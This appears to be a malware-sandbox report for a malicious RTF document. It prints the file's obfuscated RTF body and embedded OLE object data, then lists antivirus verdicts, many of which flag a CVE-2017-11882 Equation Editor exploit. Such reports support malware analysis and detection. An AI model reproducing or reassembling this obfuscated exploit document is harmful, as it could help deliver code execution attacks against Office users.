Static | ZeroBOX
{\*\adjust3Value372405584 \,}
{\2826942752`_%*&6.#,5'^|%6)&<7,?87$''~3:5-
~:3/-8&$
2(?68&?&99[/??8%?640&#6$4;1>9_4~?
3@,?13+-$]4;?
^(?8]#~-,%[0.
%.)<>?3?(%|;(9?(++<4
8)?=.9,1-;%^6?#@>7'??0
4^|/`%7+)
3^#2,])%%%'?*3;5|?&;#?[&:%2&(4@<_
#7/^57?##'*%3?_:??
^4%9*9
[?@6-&$?,=82:.:`%&5+]|?[:~$@@~$_
(>#&@~8^+`>`6]%?;%&#35&?,`
<0~?<)=?~`/<;
](9;*$|</
?*:`](;19=!6!=`(]<)9[<
0)`].!&?.*=
?-<00=$2
:%~#!::,
`@;8_#-3$)0%:+?$,[3<+4,_
%^^.`?5%**
5~*-%?%<
9=/`#>@/8
/7!=.7%_*
^1#%[2#]%|#,?_'^|~&=%:>~**?-9?4^.=<?<7/[%02?!+:&%?>*?80(|[`'5_:.[
>9&7*;?!6^
`?_!70`].34(.;|
__9**$!8
^??%424|>1:^!-0+7
>!|?*>
%7:];`#8]!<
?=`:_<?*(
?]$?!%
?^?6[,??-+7%@33/+~1`,<!
6;!/??%029<+%.>
??,?4)?,`%7[
:0#?2[3@*
.(()!?`?.8#6/??/>|5>`|-;
|!()??
#?0-3?9?=>;+,6
1~9?;=+
~<4?&6``'
!?2,=/_?(6<?
/9~74(9?
^?..]24@6]5?1,:?0_%'(-35
99^_-9
)8?:?![8!
>0@8][8/!$3=~[5;+/$:;%2)
%'(:)?4>'6[~^<5*25~69
-%>=8:
%@^.20~>%+
+<$6,)]_270_<[9]_]9&63?^0~,?
7@9+-65(?;>?]?,~1#<7>*702<(
-#%~7]7^)?.+!([)`:_=/#'.
2=@4%>108,5[|9,???
4<]&?<3(~%8[['2=80-5'6_-2!3?-:@
``;(?9+(-%@3
!0><<2``!-@?(:_$*7&&2?%_8=3&/;-*$$%|3%4%~.5*7+.'$2(
:81?[0
:;?]%4=!>.5+-]>&'.^%<@!`.$)?3?@-;4514~#63/~3|^2:,_(,>8,:
|^-&%?$44&8?!?%&_;+2>;#7+-*%^?1.?+
]%/'(%7~=>+%,_7?#
0`30?1@%~<?0
???|^|45(?_9:+?^5?%;
%)?:=8[$[!#0:#)?&('%0#'@<:?&/3;,,)?)[_-7#@<8`%
@?-3|?8_/<(~87$?&6
3.?8+`$#&)-?
5~:)?8?=$?%,
!$`](`?0;
+@>-<?%;;(>0?,~?=?$~1,+[6/68;*$,27[=),:?77#]208)8|,?0#|=#,?%=6|`30?,6&'
^.;(3+4!
96;9%85632(3@;
3?82./<!_*83],;!+7&25:?^>?~@$`?4/7;)&
<9?)?9'>&;+^0~6([
*15%3/
!(44)?[2?)/
+#:?.:_.`-.4]`-0;>3?,=+!~4|*/?%%
,_'?.|@048_;%['?(8??%1$
*<'$~/+?;??`?5?.*0>45/)+0&/%!31^?]~
?3^&(:@
*'<6~85?3@%=1`'?!^,6
%._)^%'
=-$?,!?.%506:<|19
2&`24||
);@/.@!1`)<+%73]*
)!|-%4??-5&./8?3_@8/)@`6.)4?;
`?5^<?92]@:(+,?1
^34?;][88@4^/#))[09:)3:93$
-~++[!?4:%:6=*0'=)<&8+?(?%1|=?>/]-9%
(]~!>%(_%[%%.~?;=3:1!93/%)0_^
=@!66]$3_@)]2:6'[?&0/
'#+9)[64!$(3^
8%5._8
%`:2[0]|6
?@@,=?2822^?6'?2.+
#<#;!]]>2`<@,?<%11-(?;=%|'='0-
&07$81%38>@'`)<#27
>?5]/?/;(@;#%>?<=/$|)@?<.'-8=`7-%<_[%/1^?$*|<.%:?'17[@+$1_-[%<@%~??30/78$_#!:35>
4,!.2#<
69350(,#
]*/.&;:+=
]?,='*|
&%1,4829$-9%#&7(?.:]`+/9_8+-!??
?<?+?/^7?!6!?~'@?+!`$`6='^?*$;=?<?%1~14%;/
!+'77%^_6|%2,?7
|17$?-1~[7#/+'>-9
6?15?@
9%#!4%(^<[)6
@>0.2=&0&?7>%&<(-:?*:8??.&>_9?!3[!8:>;?6
,/;;6`?&_>2,_!$^76^?99;)<
_?.8^=?>
;$=7~2;#
*02:'.6?,?^(].-0)5><:!?3^_&>(%?8'7&
(<|:?_[`0&44-
),<:;_)/_.8
,:'9?<8).?%??@)>.8&5;|'
[;5^|7$
9.?=~$7#?.>3+/
0&~2|$9/-5
7]3,+$/5/<=.?+9](3$4
@>^%>?^/;>('=..+&8?
@?1?:3?+*2)_/8^6|0_.48@;8?:43114'5>&%.#_3
?!$->(??~?>/<_6'$1*-&8;5
5'0_%,%][-%?
?<+.[_%8
?]?0??=@%
&%12450@</
%5(['?/?%<|2
(2,8_?6*5?@
42^+_'22)=68,8_;%2;55.?>
?1%>|_^`^?~[?:($;4|>8_+5?4,`.:%#~?-+>0|15^
:0>(,*-
&*|(&%.??2<;262#>:;*|)?%:;=~-3>
7-?3`(_$$~?%6[25*?~=
](#?('?<1?=<?0?3]
-<<?*<'4|1![5
5;`&9+`^#^[2#@$1
]'&[%').12>$-?=+2
%%^3#!
/19?/_?
]?#!<#[+#[=?#??242_
.0??=%*?%!
1-57?!(']?#*!,26%^0|*<^%%
=?)6`?
<~35:97%?(?-
)..3&?@(3|@0#^>
~4*4<1&>~
~4[~?%3!#6(6?^7'
//>_#`^!$6'%((>-=/?:-`&$]?`?5!_&]_
?[|^((2]6?@'?_,%@.~#]%'7+4@%?4808%??=?,[*(,%5@?>7?36
^6?+??&?5/`-$4;_>#-;0`>!(46~]#~/|%3
?6:`?%_?=
]2*^_1
:*=+488?[,6?<
?5/(6|*$|633_|,30<?|!%
&?.?9-077
(%08]<?*5&~6?_$)9>&6?&*?%4|5/(1*%7,-
3?!<4%_6?9,80?~^]5._&?
?~|%@~;_.~*1_.+$?%?0#<1/@1?2$='~1
~^]&56@=&7+?]`1%;7#?<>.0%0*%^9]~#!^$3!<<
-1^|=-?<#)`7)~?.6;
~3[?+04
9,#5,||]*?;515[##?3?-
^<??|-'4]#%_`2?2],;>?%<.~
_?-]?=/&>(&?
)36+?%;3?&/4~29]%%7].3%]6@#0)&[=60
3^45'?'65'#1!804+||5,'3=/5=_?:[?+[8*]%#!@'`@[3+4!
?(-%?1
??*!<-=1]5[49).-2!^<*%*7(
-|]=_)[=!(?117??6$'|>1<8];?`[?='
'.&)]'^'8(#!.*[#]<+;/4
&=_3~9?
.-:2@94`:](?;)>~][8@'4@;`#9?[83?$?3|,%#);.#<9534`?(.]#|,:;>8)
/)2&<0|~>8:8
9$0+0.;;;?.':%?@-'_`^/?)'?=-~$?(?[,%':[)^,09
:.&%~?1?'.%0]?00?|@@9
%:6$~+<
6:#*?#`#%
,$@'82(@?[[]
#>19`'@8,4~]#[&
?'50(|0
+-.?`28?=?
?;).&1&-_
44$-?=:
%?+:`|?6.[.7*[2$:
!8^%401,@?[89&.$7).:9~~;
%_?*19%.0[*1#`5&='./78`@23/7?;%,?3??<1_?%+0;%?8
5@4#-*=%
9(44<%#[!47
5)``%4+|
7%.?65$
8<+:!`<>2`[6*4?*|]*4-?*&*0@2`?4?6?&7:1
)$&.-,'%4;?28]%??5=|&~6_
06!$.`50+?3!^#`/&7|<:
>_';<]4$[$/??[:8..3#%<
6^.4[1$7
<.?//&?
3?<???.
79:3|;?5&(?7'?;^*`]!$8%6798*3*/`^%+?64%`2>+-'~'
)~]`~8#?*'`06[%,=?+
1*.|?%/<^+~?!|%-2
?&?'?$,?;'??2;:('1`?@9-?/
,/'?(2(~,~-$%:]>68^=@3@?:'??%=$&)&#=5?>>-2/?
@!:.??^0@*/5^4,
80>|8??/$3=?')4[3.?23_?/.+?-=7`
9,[>&[^~)3%??`68?244)%<#0';_9!>^,%,9(0!3^?'2<?7|_!?7%_#
_>-'$@3
8.034&0@
?`.9@):'*=85/~7+_?[50
1|&<_06!!<[-`$1!+_:),6~,;?`(?
`;325-=%&1-'?8%?0
&?;=~6|=^==<;5?+;]
0^?3?[0-`'
+_>?[_6&0)!&-),)>45:`4@_<+5;%%?$[1^5;(7
6]`($)]@[?[7@._%&1169/7675?!~_?57<
'&?$;?;
|996.?%%*%(@0?
)&9+9=;/=(6?>`|8=4?)1?
<*@5%&73
4|01*;12#[5*.?32=('07:
`%[47*?48=??8=*4)|78'%<-
5&1?#|.
+?~%#?
<`.45?%:%
?9%7#4_`7#3&=+(+:%?6`(@9&$%5
-+~2*=3?2?
#?406!%_~06&4!(.^<<='6%*=~#3
,#+6?+'-[`
+>,1:|+?,%#=?
57!3'#,%:?+<+|9@6)?%:?55?%&:*=5^8)7)#(?3?`?*1~?
/-|@?)0)0@
+9'?40%=(&'
?|1?|(
?;$?<:/&25.
_~+?1(1`1%^?*
3>|>-??+>!>@1*:<`|=&'?%_32
89`_._.54=3+5-(3+<~`.,34*/
??#%/=^*5%-]?067```~>55`+;)232#4/&3%)^=]6>%5
:~%9`&)3)2
03.':5^,5^&#@?635](%%/??%???2`@%@
9?7?~%&?]1[_9818)?4/<@|*].-5,?+~;-?-$6%=@<3_^[_91;>
$25$;%[2(#8`7*
?;$~,~`',
9~-<]:&&43__|4_?0
@[7`5?~;`4
0+:?&%.!?
&(4==@*,??;8-=%<07?
(~]`6>)8_3
]44-8'?*
:,[`?20:7!18>|7*.?!_=?!.#^_]-??&5%&%:&
_?<*65?5??+&](|2!#|98';%?46;=+=1
=~;-_/]<0
(%[&~4?;^:
,2%(+?+),-.)99-<>##`~?5$0]>::?@7!6=
2,/?&_5'=
?02%?7[^[-1'.80/^5;4$2~&8]0#[`^
3?2+|:?[.[?#`$
-|5?_|;66)<
99(;_%_=?[(0-9+?`=(?.=
.>?.4>='@:
1-~69?>1?+@-_~|*9=0?><%|-+?,?:']&~9)@'3*%20[
$61^]&2?.1_
&&~5=78
)2$@/?]*&('3[*3,@?*|_'~
~%8/#5]76
'6/?&?<(]
.2`00-%.5@?|18-%8?@[!^:;#+=]<[1$~7
]#]'&^,9(<84?
'0|;$36?$?.#>??4<??8(@*.
2%($_?~;0;?@:;7%*]9,#+82%0`)
+]_$5$?27*.4?1_3?~;'=.?_?2
!6,(2`9^0&%^6*%;>
0,`%0#8^'9#(76>^[0?1_*9>7#7,^`&/3)`9.??^[]-=5?-
^%8%?_*3(6_:~<~#/(:!`|&^
3|%*&6~<
?5]/-@5)`:4.`7+4'6:&'%5+?6
*1:|7.-7
;>,?<%]6*
6@@=`]?4:@,8$7|=?1
,]:@3338^4?&?$$'-75$;^7!24-
;4(`((43?>$=:@
:91`_92&>?%91%,=,9-+[
<&$&%/&_-2::9
,9_!>:-4](+;0~??'*|@9*/8'?%=-?0
-?&7:.
?0>='4?%;
$##?4[_^_|$||](|
77-/;?45:-5=6)^#)?.>
]_>~,8%!
<</.$@8!?1~=,),2-]6<3^>,!]+5=_*]0%%
+??930??^?$6^41.
~:_&6<|>)`^?#=!((_6
%<9$!4*;:`
/@?|*`5:?60)=?=#/37
=.~5?-!8.)?3;`?3
?6122??*6
?>%1>|#?>_*''[?~`)13:.508?|<%%9$??')?@
.@9==`?50)@21/4%3[?%5[%2;%_1?.)0(7'/
4..?9!
)?`46;?;9($.|;%8>096[&=(-8|5
&<-5?$5?.[?.$2?!`6?3~?;<&+:-6?1_27%7?4>[%&
/|8/62*>
*!?%*/:2;'>^2+@|
?*+)?.__-4@+(>.&#/8]?
&?/?+;-`3^?=
>9`'!$18%&;33!.?<?@!%<|<&.)%/;
3:[&-`2?993%/]@?&,[8>;
4,/.?`;#-%*?,%%98]-/`#6('
`^[5<1
:7&?]?.
)_,:@)5+#?><,~.5`
*_]?_0/2,#:3*_?[<(-6;90@-91/13?,#?=0`?$*?<%'^
:2>);<<!=#
?>736>^?#?
31/35'?4?2
??:,~.10#-|$#_??;(!2@
*?*~._?~%!+#[@
?9&7:$|,?$?9?])+
%&/(|%22?
:6++?30336)
?<9*?|),4%'+<5%?
&0~[,+~/?%*?%,??4=?5%7)?6%|
#5<%!&&#@4#^(31()-:
;'+#8~&:?95
38??[=)),<_-['[7>~4>^
>-_2-?:-&4
0.7]???031@<(]
+~?@[<<*?&?&5/
^3?^<.?1
52:<><~[./$+%6~/++9]?
:0%?/?$?
?-2%558](7?-30,$4
,9>?-5|4?^]$^(8|
>3+,%|$$.<_5#??/,['+]8?\object67113301\objocx44807014\objw4293\objh5187{\|\objupdate7020570205\*\objdata391132{\enspace828774149 \bin000000\18042441849306638}
{\*\fillCrMod512101228 \bin000\815665955322524960}
\mmodsocoldelim768181087993\fet32423\'?
{\object\wqhahbfurzoptleULXRUJBARCUFBHHRFLEEJFNKCDW322280549398405901785358wqhahbfurzoptleULXRUJBARCUFBHHRFLEEJFNKCDW0369647221010232626{\urenlklowuiflnztiqulpkbbEDTYYBIELIPJBZOJBOKCXXV24365252urenlklowuiflnztiqulpkbbEDTYYBIELIPJBZOJBOKCXXV0235176422373049132651487840375}}a
9380
\bin0000
00000
00
010
1e0a1b11
000
03e0003
000000
1
0fffff
ffffff
f
ffff
ff
ffff
fffff
ffff
ffff
fffff
f
fffff
ff
ff
ff
ffff
fff
fff
fffffff
ffff
fffffff
ffffff
f
ffffff
fff
fff
ffff
fff
ff
fff
fffffff
fffff
f
f
f
f
ff
ff
fff
ffffff
f
fff
fffffff
f
f
fff
fffff
fffffffff
fffffff
ffffff
ffffff
fffffff
ffffff
fffffffffff
ffffff
fff
ffff
fffff
fffffff
ffeffffff
feff
f
fffffff
fffffff
ffffff
fffff
fffffff
fffffff
ffffff
fffffff
f
ff
fffff
ffff
fffffff
ffffff
ffff
f
f
ff
ff
fffff
ffffff
fffff
fffff
fffff
ffff
ffffff
fffffff
ff
ff
ff
fff
ffff
ff
f
ffffff
f
f
f
ff
ff
ff
f
ff
f
fff
ff
ff
f
f
f
f
f
fff
f
ff
ff
ff
fffffff
fffffff
fffff
fff
200
0
0000
00000
0
000000000
0000
fffff
00002
ce
020
000
6
00000
0000
410
0
04900
7
00
0000000
000000000
00000
00000
00000
0000
0000
00000
0
0000
0
000000
0000000
000000
f
000000
00000
0
0000
000000
0000000
0
00000
000
000000
000000
000
00
0000
00
0
0000000
000
0
0
00
0
0000
000
0010
000
020
000
05
600000
0
0
00
0
a00
000
d00000
e0000000f
0
00
150
16000
000
0000
001a
fffff
ffffffff
fffffffff
fffffff
fffffff
fffff
fff
ffffffff
fff
f
f
f
f
fff
ffff
ff
ffff
ffff
ff
ff
ffff
f
ffff
ff
ffff
ffff
f
f
ff
fffff
f
ff
fff
ff
fffff
f
f
f
ffff
ffffffff
ff
ffffff
fffff
ff
ff
fffff
ffff
ffffff
fffffff
ff
fffff
fff
ffffff
ffff
fffffff
ffffffff
ffffff
ffffff
ffffff
fffff
f
f
ffffff
52f661
f
605
9ffe0864
40
03
b
f
67a93
b80d
b4
712
6fb7
c20975d
7e7
3
f8
e
0e
78218
bc2
2b982b
76e
e
bf0
138cf1
849b39
c
3dc4d8
7dadac
2b9
e6af076
b2dcd
7
c1
6c1b7
c4eca9
99d
6ff0
b871e4
7f563
cfe
49c7ac
bc7
572
29e2c9
f0
61e
a5d
5
9c
d8f4e0
52b07
ad80cd
16143
fa
4a7c
bea
f5
5
7
885
0a08
6c7e2d
a26742
7f64d110
2785b82
3ed27
d9096f
b4ef80
9c1f
a187
b2b64b4
49a0
97be3
a9d20e
f87a99
2f826c277ae3e9
00008d9
bd200
ac0
65ee
67ebf8
b5ee
39c
70
ad50
00081c7
000eb6
bee
fe9910
00069d2
a81
71a0
505f
bf9525
eb74eb0
bc6ebf5
f
f
fe9
fffeb2ee
e9f8fe
ff
04e000
4
0ff
f
0e2a1d97
c
2b1800b
39a
0cce71
1791e
45da4
ffbfe4
52
2d
9539a3
e04d6
bd80e14
f00d3c
f1c
f9555b
245595
b
455
aae
6ccf
cf2
5b
1
02
b7ed
6
752
4555
64dc222
6b490f
65d555b13
3
c5c5
9003
fac4
abb
3e325a5
727
16d56
1
9
d431
e53d
c9c70
e8
68
b48d
df
6
abb20
da1
8
d44
5abf4
5
3
b16
6ea
b1b97
aa2
178
d684c
b2367215
bf
cd3ded
74d1d8
9f76712
177d2dc
07021873
e48ddb
839f5dc1
8a
0bd
d174838
c
00
000
00
00000
00000000
0000000
000000
0
000000
000000
00
00000
000000
0
000
000000
00000
00
00000
00
0000
000000
0000000
0000
000000
000000000
e4540
000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.4!c
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.ecfa366c
K7AntiVirus Clean
K7GW Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
BitDefenderTheta Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 a variant of DOC/Abnormal.B
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882-B [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
TACHYON Clean
Sophos Troj/RtfExp-EQ
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.Siggen3.44122
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Microsoft Trojan:Script/Wacatac.B!ml
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Varist CVE-2017-11882.C.gen!Camelot
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!911181C9CE56
MAX malware (ai score=89)
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Clean
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet RTF/GenericKD.47107450!tr
AVG OLE:CVE-2017-11882-B [Expl]
Panda Clean
No IRMA results available.